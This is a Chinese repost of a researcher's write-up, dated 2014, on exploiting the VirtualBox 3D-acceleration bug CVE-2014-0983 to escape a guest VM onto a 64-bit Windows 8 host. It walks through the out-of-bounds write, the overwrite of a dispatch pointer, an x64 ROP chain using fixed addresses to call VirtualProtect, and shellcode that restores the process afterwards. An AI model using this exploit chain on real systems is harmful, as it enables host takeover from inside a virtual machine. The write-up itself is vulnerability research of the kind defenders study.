安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > 逆向工程 > VirtualBox 3D加速之虚拟机逃逸漏洞的高级利用

VirtualBox 3D加速之虚拟机逃逸漏洞的高级利用

时间:2014-08-23来源: 作者:无才布衣点击:
在前一个博客中,我们分享了一个影响Xen hypervisor的客户机-到-主机(guest-to-host)的越狱漏洞的利用技术。在这个新的博客文章中,我们将重点放在另外一个虚拟机逃逸漏洞,VirtualBox。几个月以


VirtualBox 3D加速之虚拟机逃逸漏洞的高级利用 //内容来自AnYun.ORG

在前一个博客中,我们分享了一个影响Xen hypervisor的客户机-到-主机(guest-to-host)的越狱漏洞的利用技术。在这个新的博客文章中,我们将重点放在另外一个虚拟机逃逸漏洞,VirtualBox。

//内容来自AnYun.ORG

几个月以前,我们核心安全的朋友发布了一个关于影响VirtualBox的多个内存破坏漏洞的议题,可能允许在客户机操作系统的用户/程序逃逸虚拟机并且在主机操作系统上执行任意代码。

//内容来自安云网

几个星期前,REcon 2014年期间,Francisco Falcon 已经证明可以组合这些漏洞并且利用它们来实现在一个32位windows主机上客户机-到-主机( guest-to-host )的逃逸。 //内容来自AnYun.ORG

在这篇博客中,我们将分享在64位windows 8主机上只使用一个漏洞(CVE-2014-0983)来实现一个可靠的虚拟机逃逸利用技术,并没有使VirtualBox进程崩溃(也称为进程延续)。

//内容来自安云网

1:该漏洞的技术分析 //内容来自安云网

多个内存破坏漏洞存在于OpenGL图形VirtualBox 3D加速中。在这个分析中,我们将专注于CVE-2014-0983。

//内容来自AnYun.ORG

从客户机操作系统方面看,客户机的增加会增加成倍数量的服务如:拖放,共享剪贴板,图形渲染等。其中的一个服务被称为“共享的OpenGL”。当3D加速在VirtualBox中启用(默认禁用),可以通过客户机/服务器模型提供远程呈现OpenGL图形。客户机操作系统作为一个客户端发送一个渲染消息给“VBoxGuest.sys”驱动程序,该驱动程序随后通过PMIO/MMIO转发消息到解析它的主机(作为一个服务器)。更多关于 VirtualBox and 3D的细节参考这里

//本文来自安云网

在诸多的渲染消息中有一个名为"CR_MESSAGE_OPCODES"的渲染消息,其结构由操作码(命令标识)构成。在服务器端(主机操作系统)"crUnpack()"函数处理所有的操作码。 //本文来自安云网

 static void
 crServerDispatchMessage(CRConnection *conn, CRMessage *msg) {
     const CRMessageOpcodes *msg_opcodes;
     CRASSERT(msg->header.type == CR_MESSAGE_OPCODES);
     msg_opcodes = (const CRMessageOpcodes *)msg;
     data_ptr = (const char *) msg_opcodes + sizeof(CRMessageOpcodes) + opcodeBytes;
     crUnpack(data_ptr,                                          /* 第一个指令操作数 */
                   data_ptr - 1,                                     /* 第一个指令操作码 */ 
                   msg_opcodes->numOpcodes,             /* 操作码个数 */
                   &(cr_server.dispatch));                      /* CR调度表 */ //内容来自安云网 


//内容来自AnYun.ORG

在安装VirtualBox时通过位于"src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py"的python脚本自动生成"crUnpack()"函数的内容,该函数可作为一个开关,并根据操作码处理不同的功能。

//内容来自AnYun.ORG

通过发送包含操作码"CR_VERTEXATTRIB4NUBARB_OPCODE" (0xEA)的消息,"crUnpack()"调用"crUnpackVertexAttrib4NubARB()",这个函数解析来自客户机操作系统的没有任何验证或检查的渲染消息。

//本文来自安云网

 static void crUnpackVertexAttrib4NubARB(void)
 {
      GLuint index = READ_DATA( 0, GLuint );
      GLubyte x = READ_DATA( 4, GLubyte );
      GLubyte y = READ_DATA( 5, GLubyte );
      GLubyte z = READ_DATA( 6, GLubyte );
      GLubyte w = READ_DATA( 7, GLubyte );
      cr_unpackDispatch.VertexAttrib4NubARB( index, x, y, z, w );
      INCR_DATA_PTR( 8 );
 }
 void SERVER_DISPATCH_APIENTRY crServerDispatchVertexAttrib4NubARB(GLuint index, GLubyte x, GLubyte y, GLubyte z, GLubyte w ) {
      cr_server.head_spu->dispatch_table.VertexAttrib4NubARB(index, x, y, z, w );
      cr_server.current.c.vertexAttrib.ub4[index] = cr_unpackData;
 } //本文来自安云网 

由于缺少数组索引的验证,位于"cr_server.current.c.vertexAttrib.ub4" 数组之后的内存可以通过 "cr_unpackData"破坏。 //内容来自AnYun.ORG

 .text:000007FA24376440 crServerDispatchVertexAttrib4NubARB proc near
 .text:000007FA24376440
 .text:000007FA24376440 var_18 = byte ptr -18h
 .text:000007FA24376440 arg_20 = byte ptr 28h
 .text:000007FA24376440
 .text:000007FA24376440 push rbx
 .text:000007FA24376442 sub rsp, 30h
 .text:000007FA24376446 movzx eax, [rsp+38h+arg_20]
 .text:000007FA2437644B mov ebx, ecx ; index
 .text:000007FA2437644D mov [rsp+38h+var_18], al
 .text:000007FA24376451 mov rax, cs:head_spu
  // dispatch_table.VertexAttrib4NubARB
 .text:000007FA24376458 call qword ptr [rax+1498h]
  // pointer to controlled opcode data
 .text:000007FA2437645E mov rax, cs:cr_unpackData
 .text:000007FA24376465 lea rcx, cr_server_current_c_vertexAttrib_ub4
 .text:000007FA2437646C mov [rcx+rbx*8], rax ; crash
 .text:000007FA24376470 add rsp, 30h
 .text:000007FA24376474 pop rbx
 .text:000007FA24376475 retn
 .text:000007FA24376475 crServerDispatchVertexAttrib4NubARB endp 

//本文来自安云网

如此一来在虚拟机中的客户机操作系统的恶意用户或程序可以在主机操作系统上执行任意代码。

//本文来自安云网

2:Windows 8 (64bit) 主机上的利用 //内容来自安云网

要从虚拟客户机利用此漏洞,我们需要编写一个恶意程序通过可用的客户机提供的驱动程序发送异常消息到主机上。 //本文来自安云网

有漏洞的函数 "crUnpackVertexAttrib4NubARB"位于“VBoxSharedCrOpenGL.dll"中,而且数组位于该dll的.data区段: //内容来自AnYun.ORG

.data:000007FA2444B518 cr_server_current_c_vertexAttrib_ub4 db ? //内容来自AnYun.ORG 

因此,继 "cr_server.current.c.vertexAttrib.ub4"数组之后的地址可以被"cr_unpackData"破坏。"cr_unpackData"是一个指向从客户机操作系统发来的渲染消息的指针。

//内容来自安云网

主机操作系统上的"VBoxSharedCrOpenGL.dll"中相关的"cr_server.current.c.vertexAttrib.ub4" 数组的内存可以被破坏。有了这个write4 primitive(这里不知道如何翻译),我们可以破坏位于.data区段的函数指针。通过查看该漏洞函数,我们可以看到: //内容来自安云网

cr_server.head_spu->dispatch_table.VertexAttrib4NubARB(...); //内容来自AnYun.ORG 

将其翻译成汇编代码如下: //内容来自AnYun.ORG

 .text:000007FA24376451 mov rax, cs:head_spu
 // dispatch_table.VertexAttrib4NubARB
 .text:000007FA24376458 call qword ptr [rax+1498h] 

//本文来自安云网

"cr_server.head_spu"在.data区段的位置如下:

//内容来自安云网

.data:000007FA2444CA60 head_spu dq 

//本文来自安云网

这是被破坏的地址。"cr_server.head_spu" 位于数组之后,对于corruption,我们需要一个正向的索引:

//内容来自安云网

 .text:000007FA2437646C mov [rcx+rbx*8], rax                              // corruption
 ...
 .data:000007FA2444B518 cr_server_current_c_vertexAttrib_ub4 db // array
 .data:000007FA2444CA60 cr_server_head_spu dq                          // target 
//内容来自AnYun.ORG

索引可被计算,如下: //内容来自安云网

 0x7FA2444CA60  0x7FA2444B518 = 0x1548
 0x1548 / 8 = 0x2A9 
//内容来自安云网

破坏"cr_server.head_spu"之后,主机操作系统已经完成了渲染消息的解析并且没有代码重定向。但当包含有操作码"CR_VERTEXATTRIB4NUBARB_OPCODE"(0xEA)的相同消息再次发送,"cr_server.head_spu"被再次使用,如下: //本文来自安云网

 .text:000007FA24371E30 push rbx
 .text:000007FA24371E32 sub rsp, 20h
 .text:000007FA24371E36 mov ebx, ecx
 .text:000007FA24371E38 call crStateBegin
 .text:000007FA24371E3D mov rax, cs:head_spu
 .text:000007FA24371E44 mov ecx, ebx
 .text:000007FA24371E46 add rsp, 20h
 .text:000007FA24371E4A pop rbx
 .text:000007FA24371E4B jmp qword ptr [rax+0B0h] //内容来自安云网 

 "cr_server.head_spu" 已经通过"cr_unpackData"(指我们的控制数据)破坏,相关跳转指令rax+0xB0将会重定向执行流。

//本文来自安云网

下一步是处理堆栈平衡。默认情况下,VirtualBox除了 "VBoxREM.dll" 之外所有组件都启用"ASLR/DEP","VBoxREM.dll"没有使用"ASLR"技术;因此,可以在利用过程中使用此dll(当然也可以利用其它漏洞实现内存泄露)。 //本文来自安云网

当我们重定向执行流时,所有寄存器状态如下所示: //内容来自安云网

 rax=000000004b09f2b4 rbx=000000004b09f2b0 rcx=0000000000000331
 rdx=0000000000000073 rsi=0000000000000001 rdi=000007fa2444ca68
 rip=000007fa24371e4b rsp=00000000055afb78 rbp=000000004b09f2a6
 r8=7efefefefefefeff r9=7efefefefefeff72 r10=0000000000000000
 r11=8101010101010100 r12=0000000000000004 r13=000007fa24360000
 r14=000007fa1d7b0000 r15=000000004aa16a50
 iopl=0 nv up ei pl nz na pe nc
 cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
 VBoxSharedCrOpenGL!crServerVBoxCompositionSetEnableStateGlobal+0x677b:
 000007fa' 24371e4b 48ffa0b0000000 jmp qword ptr [rax+0B0h] //本文来自安云网 

寄存器RAX,RBX和RBP指向渲染消息: //内容来自安云网

 0:015> dd rax
 00000000' 4b09f2b4 000002a9 42424242 42424242 42424242
 0:015> dd rbx
 00000000' 4b09f2b0 00000331 000002a9 42424242 42424242
 0:015> dd rbp
 00000000&'4b09f2a6 0008f702 00300000 03310000 02a90000
 00000000&'4b09f2b6 42420000 42424242 42424242 42424242 

//本文来自安云网

其中包含有渲染操作码,紧接着的是我们的全部的控制数据。

//内容来自AnYun.ORG

总之,堆栈平衡不能简单使用指令RET, JMP [register], CALL [register]完成。64位编译器会通过跳转到被调用者来优化最后一次函数调用。这有助于我们找到一个如下的合适的平衡:(我将Gadget翻译为工具代码 :-)   

//内容来自安云网

 ; Gadget 1: 6a689670
 mov rax,qword ptr [rdx+rax] ds:00000000' 4b09f327=000000006a6810db
 add rsp,28h
 mov rdx,rbx
 pop rbx
 leave
 jmp rax 
//本文来自安云网

RDX寄存器总是被设置为0×73。 因此,第一条指令将控制数据传送到RAX。 //本文来自安云网

LEAVE 指令将RSP设置为RBP(指向我们的消息),然后跳转到RAX寄存器(我们下一个工具代码)。

//内容来自AnYun.ORG

现在RSP是可控的,x64 ROP用于调用 "VirtualProtect()"函数和实现代码执行。公开每一个工具代码的详细细节,第一个将会增加堆栈空间(POP RSI,RDI,RBP,R12),工具代码如下: //本文来自安云网

 ; Gadget 2: control RDX value
 pop rdx 
 xor ecx,dword ptr [rax]
 add cl,cl 
 movzx eax,al
 ret
 ; Gadget 3: set RAX to RSP value
 lea rax,[rsp+8]
 ret
 ; Gadget 4: set RAX to RSP + RDX (offset)
 lea rax,[rdx+rax]
 ret
 ; Gadget 5: Write stack address (EAX) on the stack (with index RDX)
 add dword ptr [rax],eax
 add cl,cl
 ret 

//内容来自AnYun.ORG

如此一来,RSP的值可写在堆栈上的任何位置(取决于RDX值)。现在堆栈是可控的,下面的工具代码将用于调用"VirtualProtect()"和绕过DEP: //内容来自AnYun.ORG

 ; Gadget 6
 mov r9,r12 
 mov r8d,dword ptr [rsp+8Ch] 
 mov rdx,qword ptr [rsp+68h] 
 mov rcx,qword ptr [rsp+50h] 
 call rbp 

//内容来自安云网

由于第二个工具代码(堆栈提升),我们得以控制R12和RBP寄存器。

//本文来自安云网

(注:不像x86,在x64系统上前4个函数参数不压入堆栈,fast call函数调用约定下,寄存器 RCX,RDX,R8,R9是作为参数使用的。)

//内容来自AnYun.ORG

现在堆栈中包含控制数据并且可以将RSP的值写入其中。因此所有的函数参数都可以设置。最后,通过将RBP设置为0x6a70bb20调用“VirtualProtect()”。 //内容来自安云网

.text:000000006A70BB20 jmp cs:VirtualProtect 

//内容来自安云网

不像x86,RBP寄存器被用于访问堆栈上的参数和局部变量,不再是一个帧指针了。

//内容来自安云网

 ; .text: 0x6a709292
 call rbp (0x6a70bb20)
 ; .text: 0x6A70BB20
 jmp cs:VirtualProtect
 ; KERNEL32!VirtualProtectStub
 jmp qword ptr [KERNEL32!_imp_VirtualProtect (000007fa' 2ccce2e8)] 
 ; KERNELBASE!VirtualProtect
 mov rax,rsp 
//内容来自AnYun.ORG

执行"VirtualProtect()"函数并且堆栈权限被设置为RWE。最后的工具代码将会重定向执行流,代码如下: //内容来自AnYun.ORG

 ; Gadget 7
 lea rax, [rsp+8]
 ret
 ; Gadget 8
 push rax 
 adc cl,ch
 ret 

//本文来自安云网

现在,我们从客户机操作系统发送的数据可以在主机操作系统的上下文中执行了。 //本文来自安云网

Shellcode和进程延续 //本文来自安云网

现在的目标是在不崩溃VirtualBox进程(也成为进程延续)的情况下执行x64 shellcode。

//本文来自安云网

执行的第一条指令是相当敏感的,因为RSP(堆栈指针)几乎相当于RIP(指令指针)。因此RSP必须被移动到渲染消息底部的其他地方:如下图所示:

//内容来自安云网

VirtualBox 3D加速之虚拟机逃逸漏洞的高级利用

//内容来自AnYun.ORG

3D渲染消息由客户机操作系统分配并且其组件是已知的(opcodes,ROP,pre-shellcode,shellcode,post-shellcode,shellcode stack size)。因此我们能够根据shellcoe和所需的堆栈大小制作此消息。

//本文来自安云网

Pre-shellcode 如下: //本文来自安云网

4ab9a30e 90 nop
4ab9a30f 90 nop
4ab9a310 4881c4XXXXXXXX add rsp,X //内容来自AnYun.ORG 

现在堆栈指针(RSP)处于安全的位置,我们的shellcode可以执行,post-shellcode 则用于修复。

//本文来自安云网

- 堆栈指针(RSP)

//内容来自AnYun.ORG

- .data区段被破坏的函数指针(cr_server.head_spu)

//内容来自AnYun.ORG

为了恢复原来的堆栈指针(RSP),必须使用线程环境块(Thread Environment Block),得益于GS寄存器该结构可以被访问。 TEB开始于一个结构,该结构包含我们所需要的一切,结构如下:

//内容来自AnYun.ORG

 typedef struct _NT_TIB
 { 
      PEXCEPTION_REGISTRATION_RECORD ExceptionList;
      PVOID StackBase;
      PVOID StackLimit;
      ...
 } NT_TIB, *PNT_TIB; //内容来自安云网 

一旦找到stack base,可以使用模式匹配获取原来的堆栈:如下: //内容来自安云网

 mov eax,dword ptr gs:[10h]           // retrieve stack base
 xor rbx,rbx
 Label1:                                         // pattern matching
 inc rbx
 cmp dword ptr [rax+rbx*4],331h    // opcode argument
 jne 
 inc rbx
 cmp dword ptr [rax+rbx*4],2A9h   // index used for corruption
 jne
 inc rbx
 cmp dword ptr [rax+rbx*4],42424242h // Heh ;)
 jne
 rax,[rax+rbx*4]                           // retrieved RSP
 add rax,270h                               // skip embarrassing functions 
 mov rsp,rax 
//内容来自AnYun.ORG

堆栈指针必须加上0×170 + 0×100(其中0×170是为了达到代码执行流重定向之前的堆栈调用状态,0×100字节是为了跳过如下蓝色区域的消息解析函数):

//内容来自安云网

 # Memory Call Site
 01   8 VBoxSharedCrOpenGL!crUnpack+0xc8
 02 70 crServerVBoxCompositionSetEnableStateGlobal+0xdbca
 03 30 crServerVBoxCompositionSetEnableStateGlobal+0xdd59
 04 30 crServerServiceClients+0x18
 05 30 crVBoxServerRemoveClient+0x18b
 06 30 VBoxSharedCrOpenGL+0x19cb
 07 60 VBoxC!VBoxDriversRegister+0x46002
 08 70 VBoxC!VBoxDriversRegister+0x442dc
 09 30 VBoxRT!RTThreadFromNative+0x20f
 ... //内容来自AnYun.ORG 

使用RET指令,代码可以可以恢复到最初的执行流,但是在那之前,"cr_server.head_spu"必须被修复。

//内容来自安云网

"cr_server.head_spu"已被破坏,该变量的默认值是一个包含虚函数表的堆地址。试图恢复原来的堆地址是不容易的,原因如下: //内容来自安云网

 -每一个不同的windows版本都有一个不同的复杂的堆格式 //内容来自AnYun.ORG

 -无模式匹配;堆的内容是一个函数表 //本文来自安云网

一个简单的解决方法是重新使用现有的代码。需要注意的是"VBoxSharedCrOpenGL.dll"中的"crVBoxServerRemoveClient()"函数位于堆栈的顶部,其地址位于.text区段的开始。映射到内存中的每个库都是对齐的,因此,如果我们只保持函数地址的高部分,就可以得到"VBoxSharedCrOpenGL.dll"的基地址,代码如下: //本文来自安云网

 mov rsp,rax
 // take VBoxSharedCrOpenGL!crVBoxServerRemoveClient+0x18b 
 mov rax,qword ptr [rax] 
 and rax,0FFFFFFFFFFFF0000h     // get VBoxSharedCrOpenGL.dll base 
//本文来自安云网

知道了 "VBoxSharedCrOpenGL" 基地址,post-shellcode 可以调用其他的函数,比如:"ccrVBoxServerInit()",这个函数调用修复"cr_server.head_spu"的函数"crServerSetVBoxConfigurationHGCM()"。
//内容来自安云网

 GLboolean crVBoxServerInit(void)
 {
    ...
    crServerSetVBoxConfigurationHGCM();
    if (!cr_server.head_spu)
           return GL_FALSE;
    crServerInitDispatch();
    crServerInitTmpCtxDispatch();
    crStateDiffAPI( &(cr_server.head_spu->dispatch_table) );
    return GL_TRUE;
 }
 void crServerSetVBoxConfigurationHGCM()
 {
    int spu_ids[1] = {0};
    char *spu_names[1] = {"render"};
    char *spu_dir = NULL;
    cr_server.head_spu = crSPULoadChain(1, spu_ids, spu_names, spu_dir, &cr_server);
 ...
 } //内容来自AnYun.ORG 

接下来是post-shellcode的最后部分:

//内容来自安云网

 mov rsp,rax
 // take VBoxSharedCrOpenGL!crVBoxServerRemoveClient+0x18b 
 mov rax,qword ptr [rax]
 and rax,0FFFFFFFFFFFF0000h // get VBoxSharedCrOpenGL.dll base
 push rax
 add rax,4630h                    // get VBoxSharedCrOpenGL!crVBoxServerInit
 call rax                              // auto-repair
 pop rax
 ret                                    // return to the orignial call stack //内容来自安云网 

结束
//内容来自安云网

[via vupen]
//内容来自安云网

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容